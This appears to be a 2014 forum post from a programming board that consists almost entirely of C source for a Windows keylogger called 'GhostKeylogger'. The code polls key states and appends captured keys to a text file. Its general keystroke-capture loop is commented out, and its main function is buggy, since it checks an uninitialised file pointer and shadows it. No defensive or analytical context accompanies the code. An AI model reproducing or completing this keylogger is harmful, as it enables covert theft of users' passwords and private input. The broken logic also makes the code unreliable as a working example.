Thu Nov 06, 2014 2:06 am
#include <windows.h>
#include <stdio.h>
#include <ctype.h>
#define VK_4 0x34
#define VK_1 0x31
void GhostKeylogger(FILE *txt);
byte teclas[256];
char teclasespeciales[32];
void GhostKeylogger(FILE *txt)
{
for(int i=0; i<255; i++){
/* if(GetAsyncKeyState(i)==-32767){
*teclasespeciales = 0;
if(ToAscii(i, MapVirtualKey(i, 0), teclas, (LPWORD)teclasespeciales, 0) == 1)
fprintf(txt, "[%c]", *teclasespeciales);
else if(GetKeyNameText((MapVirtualKey(i, 0) << 16), teclasespeciales, 32) > 0)
fprintf(txt, "[%s]", teclasespeciales);
} */
if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
{
if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
{
fprintf(txt,"~"); break;
}}
/////////////////////////////IMAGINE SEPARATOR BAR////////////////////////////////////
if(GetAsyncKeyState(VK_MENU) && GetAsyncKeyState(VK_1))
{
fprintf(txt,"%c\t",0x01);
}
////////////////////////////IMAGINE SEPARATOR BAR/////////////////////////////////////////
}
}
int main(){
FILE *txt;
while(TRUE){
if(txt != NULL){
FILE *txt = fopen("Experimento.txt", "a+");
Sleep(30);/*to prevent high usage*/
GhostKeylogger(txt);
fclose(txt);
}
}
}
Codemiles.com is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com
Powered by phpBB © phpBB Group.